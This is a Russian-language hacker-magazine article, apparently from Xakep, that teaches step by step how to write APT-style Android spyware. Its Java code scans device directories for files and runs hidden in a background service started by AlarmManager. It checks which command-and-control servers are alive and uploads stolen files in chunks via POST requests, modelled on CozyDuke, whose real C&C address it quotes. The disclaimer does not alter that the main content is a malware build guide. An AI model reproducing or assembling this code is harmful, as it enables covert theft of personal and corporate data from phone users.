Когда антивирусные компании впервые начали публиковать обзоры Flame, с определенного угла зрения они читались как самая настоящая реклама этого продвинутого зловреда. Слаженный коллектив, миллионы долларов «инвестиций», высокие технологии, архитектура, паттерны, высочайшая квалификация... Вкусно звучит, не правда ли? Разумеется, абсолютное большинство продвинутой малвари пишется под винду, но это не значит, что мы, мобильные кодеры, не можем кое-чему у них подучиться! Может быть, и про нас когда-нибудь напишут хвалебные обзоры? 🙂

WARNING


Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
 

Немного об Advanced Persistent Threat

C недавних пор в IT-словаре появился новый термин APT — сокращение от английского Advanced Persistent Threat, буквально это можно перевести как «продвинутая постоянная угроза». Под этой аббревиатурой обычно имеют в виду создание и внедрение вредоносных программ, нацеленных на хищение документов и другой важной информации (не всегда APT подразумевает под собой использование малвари, главное здесь — целевая, персонализированная атака, направленная на конкретную компанию и режиссированная человеком в обход систем защиты. — Прим. ред.). Такая малварь встает в систему и незаметно отсылает на сервер все интересное, что есть на компьютере, при этом никак не нарушая привычного ритма работы пользователя. Особо удачливые APT остаются незамеченными несколько лет.

APT-вредоносы отличаются продуманностью и балансом, отчеты о таких бот-сетях содержат много полезной информации: логическая схема организации сети, методы проникновения, логика работы и многое другое.

APT-сети существуют на удивление долго. Так, согласно данным исследователей, сеть Naikon действует с 2009 года. Одна из причин — слабая антивирусная защита.

 

Архитектура

Начнем с логики всего приложения. Хорошая малварь должна обладать гибким кодом — это позволит ей быть долгосрочным проектом. Будет проще обновлять модули, работать командой или просто рефакторить классы с целью сокрытия от сигнатурного поиска антивирусов.

Создавать поддерживаемый Java-код невозможно без паттернов. По сути, паттерны — это общеизвестные шаблоны кода, позволяющие впоследствии легко менять логику приложения. Мы уже разбирали DI-паттерн в статье «Шесть лучших библиотек разработчика», теперь мы реализуем паттерн MVP.

MVP расшифровывается как «Model — View — Presenter». Это три слоя, на которые будет разделено приложение. Паттерны лучше всего изучать на практике, сейчас мы начнем реализовывать интерфейсы, и ты поймешь, что к чему.

Слой View обычно представляет собой пользовательский интерфейс — визуальные объекты приложения, с которыми может взаимодействовать пользователь. В нашем случае это будет объект, отвечающий за сбор файлов на системе:

public interface ViewElement { File getFile(); }

Интерфейс слоя Model используется для обработки и предоставления данных. В классическом сценарии на класс этого интерфейса возлагается вся работа с данными, требуемыми для слоя View; мы будем через Model осуществлять сетевые операции:

public interface ModelCommunication {
  boolean isInternetAvail(Context ctx);
  void sendData(String filename, Integer partOffset, byte[] filePart);
}

Слой Presenter нужен для связи между Model и View, а также для передачи команд из пользовательского интерфейса. Именно благодаря Presenter слои Model и View возможно разрабатывать без оглядки друг на друга, а в главном Activity приложения будет минимум кода:

public interface Presenter { void sendFile(Context ctx); }
 

Больше паттернов!

Как ты уже знаешь из наших статей, в Android все сетевые запросы выполняются в отдельном потоке. Так как время таких запросов нелинейно, нужно будет как-то оповещать Presenter о результатах отправки данных. Можно останавливать работу Presenter циклом с использованием команды sleep, но это плохой подход, и лучше так не делать.

В Android есть готовая Java-реализация паттерна «Наблюдатель» (Observer). Этот шаблон позволяет в приложении быстро реализовать связь «один ко многим»: при изменении состоянии одного объекта остальные будут автоматически оповещены об этом. Объект, который находится под наблюдением, называется Observable и наследует одноименный класс. Объекты-наблюдатели наследуют класс Observer.

Как ты видишь, создание приложения, на 100% следующего одному шаблону, — скорее утопия. Сегодня мы используем два паттерна, причем один из них серьезно модифицирован.

Рис. 1. Схема приложения
Рис. 1. Схема приложения
 

Реализация

Теперь можно создать классы, реализующие интерфейсы выбранных паттернов. За поиск файлов на устройстве будет отвечать класс FileFunc. Нам сейчас не так важно, как именно он будет найден на устройстве, главное — реализовать метод, предоставляющий доступ файлу для отправки:

public class FileFunc implements ViewElement {
  @Override
  public File getFile() { ...return mFile; }
}

Вопрос поиска файлов на устройстве мы уже поднимали не раз. К примеру, ты можешь почитать об этом в статье «Шифровальщик для Android».

private void dirScan(File dir){
  if( dir.isFile()) {
    Log.e("file", " "+dir.toString());
  } else if( dir.isDirectory() ) {
    for( File child : dir.listFiles() ) { dirScan(child); }
  }
  ...
}

За сетевую часть будет отвечать класс NetworkFunc. Он будет расширять Observable, это позволит ему рассылать информацию о статусе отправленных в сеть пакетов:

public class NetworkFunc extends Observable implements ModelCommunication { ... }

Класс PresentFunc свяжет сетевую и файловую часть приложения. В главном Activity приложения работа с ним сведется только к вызову метода sendFile. Поскольку данный класс не может работать самостоятельно, в конструкторе должны быть указаны необходимые переменные. Тут же подпишемся на обновления, которые будут происходить в сетевом модуле:

public class PresentFunc implements Presenter, Observer {
  ...
  PresentFunc( FileFunc mFile, NetworkFunc networkFunc) {
    this.fileFunc =mFile;
    this.networkFunc=networkFunc;
    networkFunc.addObserver(this);
  }
}
 

На старт!

Теперь подумаем, как запускать процессы поиска и отправки данных. Для этого подойдет класс Service, позволяющий делать практически любые операции в фоне и незаметно для пользователя. Запустить его поможет класс AlarmManager, более подробно об использовании которого ты можешь почитать в статье моего коллеги «Хакерский cron для Android» — очень рекомендую к прочтению.

AlarmManager manager = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
Intent serviceIntent = new Intent(this,MainService.class);
PendingIntent pIntent = PendingIntent.getService(this,0,serviceIntent,0);
 

Создаем объекты

Как ты, наверное, уже понял, все объекты будут инициализированы в MainService:

public class MainService extends Service {
  ...
  NetworkFunc mNetwork = new NetworkFunc();
  FileFunc mFile = new FileFunc();
  PresentFunc presentFunc= new PresentFunc(mFile, mNetwork);
  presentFunc.sendFile(getApplicationContext());
  ...
}

Установив на устройстве такой сервис, злоумышленник будет иметь доступ практически ко всему содержимому устройства.

 

Отправь меня бережно

Главная задача любой APT — передать данные на сервер с максимально низкими потерями. Не секрет, что мобильные устройства не обладают постоянным и, самое главное, стабильным доступом в интернет. Частично восстановленные изображения малоинтересны, а файловые архивы могут вообще не открыться. Хорошо написанная сетевая часть позволит передать документы и фотографии с минимальными потерями даже на слабом канале.

 

Доступность серверов управления

В отчетах о APT-сетях обязательно фигурирует информация о том, как они управлялись хозяином. Чаще всего это несколько так называемых C&C (command and control) серверов, к которым модули APT обращаются за получением новых команд. Чем крупнее сеть, тем больше у нее C&С-адресов.

Чем успешнее малварь, тем короче жизнь C&C-сервера. Провайдер может отобрать хостинг из-за жалоб, а в особых случаях домен может быть вообще разделегирован регистратором. В некоторых случаях доменные имена C&C переходят к антивирусным компаниям. Если APT-сеть была достаточно успешна, на потерянном домене будет создан honeypot или просто поставлена заглушка с информацией о том, что данный адрес имеет нехорошую историю.

В самом простом случае С&С-адреса возможно хранить в обычном строковом массиве. Чтобы понять, какой из наших серверов жив и готов отдавать команды, организуем проверку доступности.

Реализовывать сетевую логику будем с помощью библиотеки Retrofit. Осенью появился стабильный релиз второй версии, его мы и возьмем. Взаимодействие с сервером организуем на основе формата обмена данными JSON.

Убедимся, что сервер настроен правильно и готов работать, для этого сформируем GET-запрос, на который должен прийти JSON-ответ в следующем виде:

{"code":100, "message":"ready"}

JSON-формат не обязательно разбирать руками: в Сети есть несколько онлайн-генераторов Java-кода.

Рис. 2. Многообразие APT по версии «Лаборатории Касперского»
Рис. 2. Многообразие APT по версии «Лаборатории Касперского»
public class PingRequest {
  @SerializedName("code")
  @Expose
  private Integer cod;
  @SerializedName("message")
  @Expose
  private String message;
}

Теперь создадим интерфейс HTTP-запроса, а затем сформируем объект класса Retrofit, в котором будет все необходимое для обращения к C&C-серверу:

public interface RetrofitAPI {
  @GET("/hello.script") Call <PingRequestTest> pingCC();
  ...
}

Retrofit retrofit = new Retrofit.Builder().baseUrl("cc.address")
  .addConverterFactory(GsonConverterFactory.create()).build();
retrofitReqv = retrofit.create(RetrofitAPI.class);

Как видишь, Retrofit сильно упрощает создание сетевых запросов. Мы уже писали про него в статье о библиотеках, рекомендую тебе ее пролистать.

getReqv.pingCC().enqueue(new Callback<PingRequestTest>() {
  @Override
  public void onResponse(...) {
    if (response.body()!=null) {
      setAliveCC(nextUrl);
      setChanged();
      notifyObservers();
    }
  }
}

Если C&C жив и ответит нам, будет вызван метод onResponse, в котором через метод body() будет доступен объект класса PingRequest. О доступности сервера мы оповестим Presenter с помощью паттерна «Наблюдатель»: методы setChanged и notifyObservers отправят сообщения подписанным на networkFunc объектам.

 

Проверка сетевого соединения

Теперь еще рассмотрим момент, который незначителен для стационарных систем, но важен при работе с мобильными устройствами. Как рядовой пользователь определяет, что с устройством что-то не так? Аппарат либо тормозит, либо быстро разряжается. Задержки в работе устройства лечатся рефакторингом кода, а сейчас разберемся, как лишний раз не выполнять ресурсозатратные операции.

Перед отправкой данных проверим, есть ли в данный момент у устройства доступ в интернет. Для этого нальем кода в уже объявленный метод isInternetAvail. В Android есть класс ConnectivityManager, который предоставит нам информацию о состоянии сети на устройстве:

ConnectivityManager cm = (ConnectivityManager)ctx.getSystemService(Context.CONNECTIVITY_SERVICE);

Поскольку нам мало просто знать, что сеть имеется, вызовем метод getActiveInfo() и перебором выясним, какого качества подключение сейчас доступно. К примеру, можно запускать передачу файлов, только если доступна Wi-Fi-сеть или LTE.

NetworkInfo info = cm.getActiveNetworkInfo();
if (info!=null && info.isConnected()) {
  switch(info.getType()) {
  case ConnectivityManager.TYPE_WIFI:
    return true;
  case ConnectivityManager.TYPE_MOBILE:
    switch (info.getSubtype()){
    case TelephonyManager.NETWORK_TYPE_LTE:
      return true;
      ...
    }
  }
}
 

Отправка данных

В отчете компании Trend Micro подробно рассказано о том, как в сетевом трафике заметить активность вредоносов. APT Taidoor и IXESHE используют GET-запросы, а Enfal в некоторых случаях отправляет данные через POST. Это вполне логичная модель взаимодействия в современных приложениях: в сети, к которой подключен пользователь, всегда будет доступ к веб-ресурсам, а остальные порты вполне могут быть закрыты.

Еще одна APT под названием СozyDuke, согласно отчету «Лаборатории Касперского», отправляет данные на сервер, меняя значения переменных в адресе запроса на C&C. В теле такой малвари изначально зашит адрес скрипта на C&C, к которому будет осуществляться запрос, к примеру вот такой:

209.200.83.43/ajax/search.php

Затем, в зависимости от ситуации, к скрипту подставляются значения различных переменных: status=, name= и так далее. По сформированному адресу отправляется POST-запрос, в тело которого могут быть добавлены дополнительные данные.

Применим на практике подход создателей CozyDuke, но всю полезную нагрузку поместим в тело запроса. Поскольку при нестабильной мобильной связи проблематично в одной сессии отправить файл более одного мегабайта, будем разбивать передачу файлов на несколько сеансов связи. Для этого введем переменные с именем файла (filename), номером передаваемой части (partOffset) и содержимым (filePart).

Передавать файл частями возможно благодаря классу FileInputStream. Он позволяет считать кусок файла по указанному смещению в массив байтов:

FileInputStream fInput = new FileInputStream(fileFunc.getFile());
fInput.getChannel().position(fileOffset);
if (fInput.read(buffer, 0,bufferSize)!=-1) ...

Объявленный ранее метод sendData примет на вход все три параметра, а затем сформирует запрос к C&C. Строить сетевое взаимодействие будем с помощью Retrofit, для этого нужно будет только указать адрес запроса, сформировать заголовок и указать объект, который будет телом.

public class PostData {
  @SerializedName("filename") @Expose private String filename;
  @SerializedName("partOffset") @Expose Integer partOffset;
  @SerializedName("filePart") @Expose byte[] filepart;
  ...
}

Теперь надо создать объект на основе данных из файла и передать его в Retrofit, дальше библиотека сама добавит нужные параметры и отошлет запрос:

PostData dataToSend = new PostData(filename,partOffset,filePart);
makePost.sendFile(dataToSend).enqueue(new Callback<PostData>());

Нам потребуется опять использовать паттерн «Наблюдатель». Дело в том, что Retrofit не умеет создавать очередь из нескольких запросов: после формирования запроса сразу создается новый поток и данные отправляются в сеть. Это неудобно, поскольку файл может быть разбит на приличное число фрагментов, а создавшее с сотню потоков приложение, скорее всего, исчерпает выделенную ей память и будет принудительно завершено системой.

public void onResponse(...) {
  setChanged();
  notifyObservers();
}

В Presenter будет вызван метод onUpdate, что будет означать удачную доставку части файла к серверу, а значит, можно снова вызывать sendData со следующей частью файла.

Рис. 3. Так запрос выглядит в Wireshark
Рис. 3. Так запрос выглядит в Wireshark
 

Декодирование

Похожим образом можно также и загружать файлы с сервера на устройство. Целей может быть много: от обновлений до подмены данных на устройстве. Согласно спецификации JSON, массив байтов будет представлен массивом переменных. К примеру, заголовок JPG-файла будет выглядеть вот так:

int[] jpgJson = {-1,-40,-1,-32,0,16,74,70,73,70,..};

Получить массив байтов возможно с помощью несложного цикла:

byte[] image=new byte[jpgJson.length];
for (int i=0; i<numbers.length;i++) {
  image[i] = (byte)jpgJson[i];
}
 

Работа будет!

Мир угроз расширяется так же быстро, как и новые технологии проникают в нашу жизнь. При этом самообразование очень многих зачастую останавливается, практически не начавшись, чем и пользуются злоумышленники.


Корпоративная почта, мобильные версии офисных программ — все готово для того, чтобы коммерческая тайна оказалась и на устройствах на базе Android!

Вредоносное ПО интересно с точки зрения использования новых технологий и социальной инженерии. Для лучшего понимания статьи на нашем сайте ты найдешь исходники созданного сегодня приложения. Мы много пишем о вирусах, но хотим, чтобы полученные знания ты применял только в легальных проектах, и ждем от тебя полезных приложений в Google Play. Удачи!

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии